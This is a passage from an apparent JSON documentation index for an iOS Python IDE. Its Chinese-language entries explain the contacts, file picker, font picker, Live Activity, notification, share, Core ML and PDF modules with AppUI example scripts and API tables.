appui.NavigationStack(\n appui.List([\n appui.Section(\"操作\", [\n appui.Button(\"读取联系人\", action=load_people)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"系统选择器选人\", action=pick_one),\n appui.LabeledContent(\"状态\", value=state.status),\n appui.LabeledContent(\"已选\", value=state.selected),\n ]),\n appui.Section(\"列表\", [\n appui.ForEach(state.people, row_builder=person_row, key=person_key),\n ], footer=\"默认 limit=20,不含头像与 vCard。\"),\n ]).navigation_title(\"通讯录\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `is_authorized()` / `request_access()` 权限判断与申请 `get_all_people(limit, offset)` 分页读取联系人 `get_person(id, ...)` 读取单个联系人详情 `find(name)` 按名字搜索 `pick_contact()` 系统选择器选一人 `add_person` / `save()` / `revert()` 编辑事务 `export_vcards` / `import_vcards` vCard 导入导出 权限 API 说明 `authorization_status()` 查询授权状态 `is_authorized()` 是否可访问通讯录 `request_access()` 申请权限 `manage_limited_access()` 调整「有限访问」联系人 `capabilities()` 当前设备/系统能力 if not contacts.is_authorized():\n contacts.request_access() 读取与搜索 get_all_people(limit=100, offset=0) — 分页读取,列表页务必设 limit。 get_person(person_or_id, include_image_data=False, include_vcard=False) — 读取详情;头像和 vCard 按需开启。 people = contacts.get_all_people(limit=20, offset=0)\nperson = contacts.get_person(people[0], include_image_data=False)\nmatches = contacts.find(\"Ada\")\nby_phone = contacts.find_by_phone(\"138\")\nby_email = contacts.find_by_email(\"ada@example.com\") 其他:get_me() 读取「我的名片」。 编辑事务 修改不是立即落盘,需 save() 提交;失败时 revert() 回滚。 person = contacts.new_person(seed={\"given_name\": \"Ada\", \"family_name\": \"Lovelace\"})\ncontacts.add_person(person)\ntry:\n contacts.save()\nexcept Exception:\n contacts.revert()\n raise API 说明 `new_person(seed=...)` 创建新联系人对象 `add_person(person)` 加入待提交队列 `remove_person(person)` 标记删除 `edit_person(person, **kwargs)` 修改字段 `save()` 提交到系统通讯录 `revert()` 放弃待提交修改 分组与容器:get_all_groups、add_group、get_people_in_group、get_all_containers 等。 系统选择器 由用户主动选择,比无提示批量读取更稳妥: picked = contacts.pick_contact()\nif picked:\n contacts.show_person(picked, allows_editing=False, allows_actions=True)\n\nmulti = contacts.pick_contacts()\nprop = contacts.pick_property(kind=\"phone\") pick_contact() 返回 None 表示用户取消。 vCard 与变更 data = contacts.export_vcards([person])\ncontacts.import_vcards(data)\nhistory = contacts.get_change_history(token=None) 常见错误 错误写法 后果 修正 首屏读取全部联系人 隐私体验差、可能很慢 按钮触发 + `limit` 修改后忘记 `save()` 变更未落盘 成功路径调用 `save()` 保存失败继续用待提交对象 状态不一致 `revert()` 后重试 默认 `include_image_data=True` 内存和隐私成本高 只在头像页按需加载 相关文档 文档 用途 [permission](permission-module) 统一权限查询(Bridge 对 contacts 支持有限) [keychain](keychain-module) 保存 token,不用通讯录 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "file-picker-module", + "title": "file_picker", + "subtitle": "系统文件选择器与 AppUI FileImporter。", + "section": "iOS 原生模块 / 界面与系统", + "url": "pages/file-picker-module/", + "text": "file_picker 系统文件选择器与 AppUI FileImporter。 iOS 原生模块 界面与系统 File Document Picker Import file_picker file-picker FileImporter document picker 文件选择 file_picker 系统文件选择器:从「文件」App 或文档提供方导入文件,回调返回可访问路径列表。 边界 :无独立 import file_picker Python 模块;通过 AppUI 的 FileImporter 唤起 UIDocumentPicker。默认 copy=True 会把文件复制进 App 沙盒再返回路径。相册图片请用 photos 的 PhotoPicker,不是本组件。 模块概览 项 说明 导入 `import appui` 适合做什么 导入 PDF/CSV/文本、选取用户文档、批量导入附件 调用时机 用户点击 `FileImporter` 按钮;在 `on_picked` 回调里读文件 推荐顺序 点选 → `on_picked(paths)` → 判空 → 后台或按钮里读取 取消行为 用户取消通常不触发回调,或收到空列表 快速开始 下面脚本展示最小文件导入页:选中文本/PDF/CSV 后列出路径。 import appui\n\nstate = appui.State(files=[])\n\n\ndef on_picked(paths):\n state.files = paths or []\n\n\ndef body():\n return appui.Form([\n appui.FileImporter(\n allowed_types=[\"text\", \"pdf\", \"csv\"],\n allows_multiple=True,\n on_picked=on_picked,\n label=appui.Label(\"选择文件\", system_image=\"doc.badge.plus\"),\n ),\n appui.Text(\"已选: \" + (\" | \".join(state.files) if state.files else \"无\")),\n ])\n\n\nappui.run(body, state=state) AppUI 示例 在回调里保存路径;读取文件内容放在后续按钮动作,避免在 body() 里同步读大文件。 import appui\nimport os\n\nstate = appui.State(\n files=[],\n preview=\"尚未选择文件\",\n status=\"点击导入按钮开始\",\n)\n\n\ndef on_files(paths):\n paths = paths or []\n state.files = paths\n if not paths:\n state.batch_update(\n preview=\"—\",\n status=\"未选择任何文件\",\n )\n return\n\n name = os.path.basename(paths[0])\n size = \"—\"\n try:\n size = f\"{os.path.getsize(paths[0]):,} 字节\"\n except OSError:\n pass\n\n state.batch_update(\n preview=f\"{name} · {size}\",\n status=f\"已导入 {len(paths)} 个文件\",\n )\n\n\ndef body():\n rows = [\n appui.Text(path).font(\"caption\").line_limit(2)\n for path in state.files\n ]\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"导入\", [\n appui.FileImporter(\n allowed_types=[\"text\", \"pdf\", \"csv\", \"public.data\"],\n allows_multiple=True,\n copy=True,\n on_picked=on_files,\n label=appui.Label(\"从文件 App 导入\", system_image=\"folder\"),\n ),\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ]),\n appui.Section(\"预览\", [\n appui.LabeledContent(\"首个文件\", value=state.preview),\n ]),\n appui.Section(\n \"路径列表\",\n rows or [\n appui.ContentUnavailableView(\n \"暂无文件\",\n system_image=\"doc\",\n description=\"从系统文件选择器导入\",\n )\n ],\n ),\n ]).navigation_title(\"文件选择\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 参数 作用 `allowed_types` 限制可选类型(扩展名、MIME、UTType 名) `allows_multiple` 是否多选 `copy` 是否复制到沙盒(默认 `True`) `on_picked` 回调 `(paths: list[str])` `label` 自定义按钮外观 FileImporter { file importer} FileImporter(allowed_types=None, allows_multiple=False, copy=True, on_picked=None, label=None) def on_files_picked(paths):\n print(paths)\n\n\nappui.FileImporter(\n allowed_types=[\"pdf\", \"csv\", \"text\", \"image/png\"],\n allows_multiple=False,\n copy=True,\n on_picked=on_files_picked,\n label=appui.Button(\"导入\"),\n) allowed_types 常用值 值 含义 `text` / `plain` 纯文本 `pdf` PDF `csv` CSV `image` / `jpeg` / `png` 图片 `public.data` / `item` 较宽的文件类型 未识别类型时回退为系统通用 item。 读取已选文件 def on_picked(paths):\n if not paths:\n return\n with open(paths[0], \"r\", encoding=\"utf-8\", errors=\"ignore\") as f:\n text = f.read(4000) 大文件请在按钮回调或后台任务读取,不要阻塞 body()。 与 PhotoPicker 的区别 组件 来源 回调 `PhotoPicker` 照片库 媒体文件路径列表 `FileImporter` 文件 App / iCloud / 第三方提供方 任意允许类型路径列表 常见错误 错误写法 后果 修正 在 `body()` 里 `open(path)` 每次刷新重复读盘 放进 `on_picked` 或按钮回调 不处理空列表 取消后逻辑异常 `paths = paths or []` `copy=False` 读外部卷 路径可能很快失效 保持 `copy=True`(默认) 选相册图片用 `FileImporter` 体验差、类型受限 用 `PhotoPicker` 相关文档 文档 用途 [photos](photos-module) 相册选图 / 拍照 [pdf](pdf-module) PDF 生成与预览 [AppUI 媒体参考](appui-ref-media) FileImporter 完整签名 [AppUI 媒体指南](appui-guide-media) 更多媒体集成模式 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "font-picker-module", + "title": "font_picker", + "subtitle": "系统字体选择器。", + "section": "iOS 原生模块 / 界面与系统", + "url": "pages/font-picker-module/", + "text": "font_picker 系统字体选择器。 iOS 原生模块 界面与系统 font_picker font_picker font-picker font_picker 系统字体选择器:弹出 UIFontPickerViewController,返回用户选中的字体信息。 边界 :pick() 会 阻塞脚本 直到用户完成或取消(与 dialogs 类似)。只能放在按钮回调里,不要在 body() 或模块导入时调用。不需要额外权限。 模块概览 项 说明 导入 `import font_picker` 适合做什么 主题设置、笔记 App 选字体、设计工具 调用时机 用户点击按钮后调用 `pick()` 推荐顺序 按钮回调 → `pick()` → 判空 → 写入 `State` 取消处理 用户取消返回 `None` 快速开始 下面脚本弹出字体选择器并打印结果: import font_picker\n\ntry:\n font = font_picker.pick()\n if font is None:\n print(\"用户取消\")\n else:\n print(font[\"family\"], font[\"name\"], font.get(\"point_size\"))\nexcept font_picker.FontPickerError as exc:\n print(\"字体选择失败:\", exc, f\"code={exc.code}\") AppUI 示例 pick() 放在按钮回调;结果写回 State 并用 Text 预览字体名。 import appui\nimport font_picker\n\nstate = appui.State(\n family=\"—\",\n name=\"—\",\n size=\"—\",\n status=\"点击按钮选择字体\",\n)\n\n\ndef choose_font():\n try:\n font = font_picker.pick()\n if font is None:\n state.batch_update(\n family=\"—\",\n name=\"—\",\n size=\"—\",\n status=\"用户取消选择\",\n )\n return\n\n state.batch_update(\n family=font.get(\"family\", \"—\"),\n name=font.get(\"name\", \"—\"),\n size=str(font.get(\"point_size\", \"—\")),\n status=\"已选择字体\",\n )\n except font_picker.FontPickerError as exc:\n state.status = f\"选择失败: {exc}\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"当前字体\", [\n appui.LabeledContent(\"族名\", value=state.family),\n appui.LabeledContent(\"字体名\", value=state.name),\n appui.LabeledContent(\"字号\", value=state.size),\n appui.Text(state.name)\n .font(\"title2\")\n .foreground_color(\"label\"),\n ]),\n appui.Section(\"操作\", [\n appui.Button(\"选择字体\", action=choose_font)\n .button_style(\"bordered_prominent\"),\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ], footer=\"pick() 会阻塞直到用户完成;请在按钮回调中调用。\"),\n ]).navigation_title(\"字体\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `pick()` 弹出系统字体选择器 → 字体字典 / `None` `FontPickerError` Bridge 不可用或调用失败 pick() pick() dict None font = font_picker.pick() 成功时返回字典: 字段 说明 `family` 字体族名,如 `PingFang SC` `name` PostScript 字体名 `point_size` 选择器中的参考字号(默认约 17) 用户取消时返回 None。 异常 Bridge 不可用时抛出 FontPickerError: try:\n font = font_picker.pick()\nexcept font_picker.FontPickerError as exc:\n print(exc.code) 常见错误 错误写法 后果 修正 在 `body()` 里 `pick()` 每次刷新都弹选择器 放进按钮回调 不判断 `None` 用户取消后访问键崩溃 `if font is None: return` 在 `onAppear` 自动 `pick()` 页面一打开就阻塞 等用户点击 把 `point_size` 当最终 UI 字号 可能与你的布局不一致 自行设定 `appui.Text(...).font(...)` 相关文档 文档 用途 [dialogs](dialogs-module) 其他阻塞式系统面板 [AppUI 控件参考](appui-ref-controls) `Text` 字体修饰符 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "live-activity-module", + "title": "live_activity", + "subtitle": "锁屏和 Dynamic Island 的 Live Activity 控制。", + "section": "iOS 原生模块 / 界面与系统", + "url": "pages/live-activity-module/", + "text": "live_activity 锁屏和 Dynamic Island 的 Live Activity 控制。 iOS 原生模块 界面与系统 Dynamic Island Lock Screen Progress live_activity live activity dynamic island lock screen activitykit 进度 live_activity Live Activity:在锁屏和 Dynamic Island 展示进行中的任务(上传、导出、计时等)。 边界 :不是普通通知,也不是长期后台任务;适合有 明确开始、更新、结束 的短流程。progress 范围 0.0–1.0;任务结束(成功/失败/取消)都要 end(),避免锁屏残留。需要 iOS 16.2+ 且系统允许 Live Activity;控制放在按钮或真实任务回调,不要在 body() 里自动 start()。 模块概览 项 说明 导入 `import live_activity` 适合做什么 导出进度、同步状态、训练计时、配送跟踪 调用时机 用户启动任务时 `start` → 进度变化时 `update` → 完成时 `end` 推荐顺序 `is_supported()` → `start()` → `update()` → `end()` 敏感信息 锁屏可见,不要展示 token、密码或隐私明细 快速开始 下面脚本模拟一次导出流程: import live_activity\n\nif not live_activity.is_supported():\n print(\"当前设备不支持 Live Activity\")\nelse:\n live_activity.start(\n title=\"导出\",\n message=\"准备中…\",\n progress=0.0,\n compact_text=\"0%\",\n )\n live_activity.update(message=\"进行中\", progress=0.5, compact_text=\"50%\")\n live_activity.end(message=\"完成\", dismiss_delay=5) AppUI 示例 用按钮模拟开始、更新、结束,并同步页面状态。 import appui\nimport live_activity\n\nstate = appui.State(\n message=\"未开始\",\n progress=0.0,\n supported=live_activity.is_supported(),\n)\n\n\ndef start_activity():\n if not state.supported:\n state.message = \"当前设备不支持 Live Activity\"\n return\n live_activity.start(\n title=\"导出\",\n message=\"开始导出\",\n progress=0.0,\n icon=\"arrow.down.circle.fill\",\n compact_text=\"0%\",\n )\n state.batch_update(message=\"已开始\", progress=0.0)\n\n\ndef update_activity():\n if not state.supported:\n return\n live_activity.update(\n message=\"进行中\",\n progress=0.5,\n compact_text=\"50%\",\n )\n state.batch_update(message=\"进行中\", progress=0.5)\n\n\ndef end_activity():\n if not state.supported:\n return\n live_activity.end(message=\"完成\", dismiss_delay=5)\n state.batch_update(message=\"已结束\", progress=1.0)\n\n\ndef body():\n support_text = \"支持\" if state.supported else \"不支持\"\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"环境\", [\n appui.LabeledContent(\"Live Activity\", value=support_text),\n ]),\n appui.Section(\"模拟任务\", [\n appui.ProgressView(\"进度\", value=state.progress),\n appui.Text(state.message).foreground_color(\"secondaryLabel\"),\n ]),\n appui.Section(\"操作\", [\n appui.Button(\"开始\", action=start_activity)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"更新到 50%\", action=update_activity),\n appui.Button(\"结束\", action=end_activity, role=\"destructive\"),\n ], footer=\"真机 + 系统设置中开启 Live Activity 效果最好。\"),\n ]).navigation_title(\"实时活动\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `is_supported()` 设备与系统是否支持 `start(title, message, progress, icon, compact_text)` 开始活动 `update(...)` 更新字段(只传要改的) `end(message, dismiss_delay)` 结束活动 is_supported is_supported() bool — 检查 ActivityKit 是否可用且用户未在系统设置中关闭。 start start(title=\"\", message=\"\", progress=None, icon=None, compact_text=None) live_activity.start(\n title=\"下载中\",\n message=\"正在下载…\",\n progress=0.0,\n icon=\"arrow.down.circle.fill\",\n compact_text=\"0%\",\n) 参数 说明 `progress` 0.0–1.0,超出会被裁剪 `icon` SF Symbol 名称 `compact_text` Dynamic Island 紧凑模式短文案 update update(title=None, message=None, progress=None, icon=None, compact_text=None) — 只更新传入的字段,其余保持不变。 end end(message=None, dismiss_delay=None) — 结束当前活动。 live_activity.end(message=\"失败\", dismiss_delay=3) dismiss_delay 为结束后在锁屏保留的秒数;省略则尽快消失。 常见错误 错误写法 后果 修正 普通按钮反馈也 `start()` 打扰用户锁屏 用 AppUI 状态或 [notification](notification-module) `progress > 1.0` 显示异常 限制在 0.0–1.0 只 `start` 不 `end` 锁屏状态残留 成功/失败/取消都 `end()` 展示敏感 token 锁屏泄露 只显示进度与中性文案 在 `body()` 里 `start()` 刷新时重复创建 放进任务/按钮回调 相关文档 文档 用途 [notification](notification-module) 任务完成后的本地通知 [background](background-module) 短时后台任务 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "notification-module", + "title": "notification", + "subtitle": "本地通知权限、定时通知和角标管理。", + "section": "iOS 原生模块 / 界面与系统", + "url": "pages/notification-module/", + "text": "notification 本地通知权限、定时通知和角标管理。 iOS 原生模块 界面与系统 Local Notification Badge Schedule notification 本地通知 schedule badge 权限 notification 本地通知:申请权限、定时提醒、管理待发送通知、设置角标。不包含远程推送。 边界 :只做本机本地通知。远程推送不在本模块;锁屏实时状态请看 live_activity。 模块概览 项 说明 导入 `import notification` 适合做什么 稍后提醒、番茄钟、每日复盘、角标计数 调用时机 放在按钮回调里;不要写在 AppUI `body()` 中 推荐顺序 查/申请权限 → `schedule` 或 `schedule_at_date` → 需要时用 `remove_*` / `set_badge` 标识符 `identifier` 保持稳定,方便取消或覆盖同一条通知 快速开始 下面脚本申请权限,并在 60 秒后发送一条通知: import notification\n\nresult = notification.request_permission()\nif not result.get(\"granted\"):\n print(\"未授权:\", result)\nelse:\n print(notification.schedule(\n \"demo.reminder\",\n \"休息一下\",\n \"站起来活动 1 分钟\",\n delay=60,\n )) AppUI 示例 把申请权限、调度、取消都放进按钮回调;界面只展示当前状态。 import appui\nimport notification\n\nREMINDER_ID = \"demo.reminder\"\n\nstate = appui.State(\n auth=\"未查询\",\n pending=\"—\",\n message=\"点击按钮开始\",\n)\n\n\ndef refresh_status():\n state.auth = str(notification.authorization_status())\n state.pending = str(notification.pending_count())\n\n\ndef schedule_one_minute():\n perm = notification.request_permission()\n if not perm.get(\"granted\"):\n state.message = \"未获得通知权限\"\n return\n\n result = notification.schedule(\n REMINDER_ID,\n \"稍后提醒\",\n \"1 分钟后见\",\n delay=60,\n )\n refresh_status()\n state.message = f\"已调度: {result}\"\n\n\ndef cancel_reminder():\n notification.remove_pending(REMINDER_ID)\n refresh_status()\n state.message = \"已取消待发送提醒\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"提醒\", [\n appui.Button(\"1 分钟后提醒\", action=schedule_one_minute)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"取消这条提醒\", action=cancel_reminder, role=\"destructive\"),\n ]),\n appui.Section(\"状态\", [\n appui.LabeledContent(\"授权\", value=state.auth),\n appui.LabeledContent(\"待发送\", value=state.pending),\n appui.Text(state.message).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"本地通知\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `request_permission()` 申请权限 → `{\"granted\": bool}` `authorization_status()` 查询授权 → 如 `authorized` / `denied` `schedule(...)` 延迟 `delay` 秒后发送 `schedule_at_date(...)` 指定年月日时分发送 `remove_pending(id)` 取消一条待发送 `remove_all_pending()` 取消全部待发送 `pending_count()` 待发送数量 `pending_identifiers()` 待发送 ID 列表 `set_badge(n)` 设置角标,`0` 清除 权限 request_permission() — 弹出系统授权,等待用户选择。 result = notification.request_permission()\nif result.get(\"granted\"):\n ... authorization_status() — 只查询,不弹窗。 status = notification.authorization_status()\n# authorized | denied | not_determined | provisional 也可用 permission 查询:permission.status(\"notifications\")。 调度 schedule(identifier, title, body, delay=5.0, sound=True, badge=0) — 相对延迟发送。 notification.schedule(\n \"stretch.break\",\n \"活动一下\",\n \"站起来伸展 1 分钟\",\n delay=60,\n sound=True,\n badge=1,\n) 参数 说明 `identifier` 稳定 ID `title` / `body` 标题与正文 `delay` 延迟秒数 `badge` `0` 表示不修改角标 schedule_at_date(identifier, title, body, year, month, day, , hour=0, minute=0, repeats=False) — 绝对时间发送。 notification.schedule_at_date(\n \"daily.review\",\n \"每日复盘\",\n \"整理今天的笔记\",\n 2026, 6, 10,\n hour=21,\n minute=30,\n) 注意 :参数是 year, month, day, hour, minute,不是 Unix 时间戳。 待发送与角标 API 说明 `remove_pending(identifier)` 取消指定 ID `remove_all_pending()` 取消全部 `pending_count()` 返回 `int` `pending_identifiers()` 返回 `list` `set_badge(number)` 设置角标;`0` 清除 notification.remove_pending(\"stretch.break\")\nprint(notification.pending_count())\nprint(notification.pending_identifiers())\nnotification.set_badge(3) 常见错误 错误写法 后果 修正 未授权就 `schedule` 通知可能不出现 先 `request_permission()`,检查 `granted` `schedule_at_date` 传时间戳 参数不匹配 传年月日时分 每次随机 `identifier` 无法取消旧通知 使用固定 ID 在 `body()` 里调度 刷新时反复触发 放进按钮回调 相关文档 文档 用途 [permission](permission-module) 统一查询 `notifications` 权限 [live_activity](live-activity-module) 锁屏与灵动岛实时活动 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "share-module", + "title": "share", + "subtitle": "系统分享面板与 AppUI ShareLink。", + "section": "iOS 原生模块 / 界面与系统", + "url": "pages/share-module/", + "text": "share 系统分享面板与 AppUI ShareLink。 iOS 原生模块 界面与系统 Share Export ShareLink share ShareLink share sheet 分享 导出 share 系统分享面板:把文本、链接或文件路径交给 iOS 分享表单(AirDrop、备忘录、邮件等)。 边界 :无独立 import share Python 模块;通过 AppUI 的 ShareLink 唤起系统 ShareLink / 分享表单。item 需是有意义的字符串(URL、文件路径或分享正文)。复杂导出流水线可结合 file_picker 先拿到路径再分享。 模块概览 项 说明 导入 `import appui` 适合做什么 分享笔记、导出 CSV/文本、转发链接 调用时机 用户点击 `ShareLink`;内容先在 `State` 或函数里准备好 推荐顺序 生成内容 → 写入 `State` → `ShareLink(item=...)` 空内容 `item` 为空时分享面板无有效载荷 快速开始 下面脚本构建一段可分享文本,并用 ShareLink 展示分享按钮: import appui\n\nstate = appui.State(note=\"来自 PythonIDE 的分享示例\")\n\n\ndef body():\n return appui.VStack([\n appui.TextEditor(text=state.note),\n appui.ShareLink(\n item=state.note,\n subject=\"我的笔记\",\n message=\"请查看附件内容\",\n ),\n ], spacing=12).padding()\n\n\nappui.run(body, state=state) AppUI 示例 先编辑内容,再点分享;item 随 State 更新。 import appui\n\nstate = appui.State(\n title=\"周报摘要\",\n body=\"本周完成:文档重写、健康模块示例、网络请求演示。\",\n status=\"编辑后点分享\",\n)\n\n\ndef body():\n share_text = f\"{state.title}\\n\\n{state.body}\"\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"内容\", [\n appui.TextField(\"标题\", text=state.title),\n appui.TextEditor(text=state.body)\n .frame(min_height=120),\n ]),\n appui.Section(\"分享\", [\n appui.ShareLink(\n item=share_text,\n subject=state.title,\n message=\"分享自 PythonIDE\",\n ),\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ], footer=\"也可把 item 设为 https:// 链接或沙盒内文件路径。\"),\n ]).navigation_title(\"分享\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 参数 作用 `item` 分享主体:文本、URL 或文件路径 `subject` 可选主题(部分目标 App 使用) `message` 可选附言 ShareLink { share link} ShareLink(item='', subject=None, message=None) appui.ShareLink(\n item=\"https://www.python.org\",\n subject=\"Python\",\n message=\"官方站点\",\n) 分享本地文件时,item 传 绝对路径字符串 (通常来自 FileImporter 或你自己写入沙盒的文件): appui.ShareLink(item=\"/var/mobile/Containers/Data/.../export.csv\") 与 Link 的区别 组件 行为 `Link` 直接在 Safari 打开 URL `ShareLink` 弹出系统分享面板,可选多种目标 App 动态内容 item 在每次 body() 求值时读取当前 State;编辑后再次点击分享即可获得最新文本。 常见错误 错误写法 后果 修正 `item=\"\"` 分享面板空内容 生成后再展示 `ShareLink` 分享未复制进沙盒的外部路径 目标 App 读不到文件 先 `FileImporter(copy=True)` 或自行复制 在回调里手动弹分享 无对应 Python API 用 `ShareLink` 组件 把敏感 token 写进 `item` 泄露到第三方 App 只分享用户确认过的内容 相关文档 文档 用途 [file_picker](file-picker-module) 导入待分享文件 [clipboard](clipboard-module) 复制到剪贴板(不弹分享面板) [mail](mail-module) 结构化邮件发送 [AppUI 数据参考](appui-ref-data) ShareLink / Link 签名 [WebView 分享示例](appui-cookbook-webview-share-export) 完整导出页面样板 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "coreml-module", + "title": "coreml", + "subtitle": "Core ML 模型加载、图片推理和模型信息读取。", + "section": "iOS 原生模块 / 视觉与文档", + "url": "pages/coreml-module/", + "text": "coreml Core ML 模型加载、图片推理和模型信息读取。 iOS 原生模块 视觉与文档 Core ML Machine Learning Inference coreml core ml machine learning mlmodelc inference coreml Core ML 模型推理:列出内置模型、加载、对图片做分类预测。 边界 :面向 App 内置的图像分类模型(如 MobileNetV2);不含自定义模型训练、模型转换。预测需要本地图片文件路径。 模块概览 项 说明 导入 `import coreml` 适合做什么 图片分类、快速识别物体类别 调用时机 `load_model` / `predict_image` 放在按钮回调 推荐顺序 `list_models()` → `load_model(name)` → `predict_image(model, path)` 返回 Top-5 预测列表,每项含 `identifier` 与 `confidence` 快速开始 列出可用模型并对一张照片分类: import coreml\n\nprint(\"可用模型:\", coreml.list_models())\nmodel = coreml.load_model(\"MobileNetV2\")\nprint(coreml.model_info(model))\n\nresults = coreml.predict_image(model, \"/path/to/photo.jpg\")\nfor item in results[:3]:\n print(item.get(\"identifier\"), item.get(\"confidence\")) AppUI 示例 先用 photos 选图,再预测;结果展示在界面上。 import appui\nimport coreml\nimport photos\n\nstate = appui.State(\n models=\"—\",\n status=\"尚未预测\",\n top_label=\"—\",\n)\n\n\ndef refresh_models():\n names = coreml.list_models() or []\n state.models = \", \".join(names[:3]) + (\"…\" if len(names) > 3 else \"\")\n\n\ndef predict_selected():\n refresh_models()\n names = coreml.list_models() or []\n if not names:\n state.status = \"无可用模型\"\n return\n\n image = photos.pick_image()\n if not image:\n state.status = \"未选择图片\"\n return\n\n import os\n path = os.path.join(os.path.expanduser(\"~/Documents\"), \"coreml-pick.jpg\")\n image.save(path, format=\"JPEG\")\n\n model = coreml.load_model(names[0])\n results = coreml.predict_image(model, path) or []\n if not results:\n state.batch_update(status=\"预测失败\", top_label=\"—\")\n return\n\n best = results[0]\n state.batch_update(\n status=f\"共 {len(results)} 条结果\",\n top_label=f\"{best.get('identifier')} ({best.get('confidence', 0):.2f})\",\n )\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"预测\", [\n appui.Button(\"选图并分类\", action=predict_selected)\n .button_style(\"bordered_prominent\"),\n ]),\n appui.Section(\"状态\", [\n appui.LabeledContent(\"模型\", value=state.models),\n appui.LabeledContent(\"结果\", value=state.status),\n appui.LabeledContent(\"Top-1\", value=state.top_label),\n ]),\n ]).navigation_title(\"Core ML\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `list_models()` 可用模型名列表 `load_model(name)` 加载模型,返回句柄 `predict_image(model, image_path)` 图片分类 → Top-5 列表 `model_info(model)` 模型元数据字典 加载与预测 model = coreml.load_model(\"MobileNetV2\")\ninfo = coreml.model_info(model)\nresults = coreml.predict_image(model, \"/path/photo.jpg\")\n# [{\"identifier\": \"...\", \"confidence\": 0.92}, ...] 模型句柄为 _ModelHandle,可用 model.name 查看名称。加载失败抛 FileNotFoundError;原生能力入口不可用抛 RuntimeError。 常见错误 错误写法 后果 修正 图片路径不存在 预测失败 先用 `photos.pick_image()` 获取有效路径 模型名拼写错误 `FileNotFoundError` 先 `list_models()` 确认名称 在 `body()` 里自动预测 每次刷新重复推理 放进按钮回调 期望 OCR 或条码 能力不匹配 用 [vision](vision-module) 或 [vision_helper](vision-helper) 相关文档 文档 用途 [photos](photos-module) 选图获取路径 [vision_helper](vision-helper) Vision 框架检测与分类 [c_extensions](c-extensions-module) 未内置深度学习包的替代路线 图片推理配方 import appui\nimport coreml\n\n\ndef body():\n return appui.Form([\n appui.Section(\"Core ML\", [\n appui.Text(\"选择模型后在回调中调用 coreml.predict_image\"),\n ])\n ]) 预期效果:打开 AppUI 表单页,后续在按钮回调中加载模型并展示预测结果。 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "pdf-module", + "title": "pdf", + "subtitle": "创建、读取、渲染和预览 PDF 文档。", + "section": "iOS 原生模块 / 视觉与文档", + "url": "pages/pdf-module/", + "text": "pdf 创建、读取、渲染和预览 PDF 文档。 iOS 原生模块 视觉与文档 PDF PDFKit QuickLook pdf pdfkit quicklook PDF 文档 提取文字 预览 pdf PDF 创建、读取、渲染与预览:文本/图片/HTML 转 PDF、提取文字、单页截图、QuickLook 预览。 边界 :操作本地文件路径;preview() 弹出系统 QuickLook 查看器。不含 PDF 表单填写、数字签名等高级编辑。 模块概览 项 说明 导入 `import pdf` 适合做什么 导出报告、相册转 PDF、提取文字、预览文档 调用时机 创建/读取放按钮回调;`preview()` 会弹全屏查看器 推荐顺序 创建 → `info()` 确认页数 → `preview()` 或 `extract_text()` 路径 使用 App 可写目录(如 `~/Documents`) 快速开始 从纯文本创建 PDF 并读取元数据: import os\nimport pdf\n\nout = os.path.join(os.path.expanduser(\"~/Documents\"), \"note.pdf\")\npdf.create_from_text(out, \"第一行\\n第二行\", title=\"笔记\")\nprint(pdf.info(out))\nprint(pdf.extract_text(out)) 从 HTML 渲染: import os\nimport pdf\n\npath = os.path.join(os.path.expanduser(\"~/Documents\"), \"report.pdf\")\npdf.from_html(\"

周报

本周进展良好。

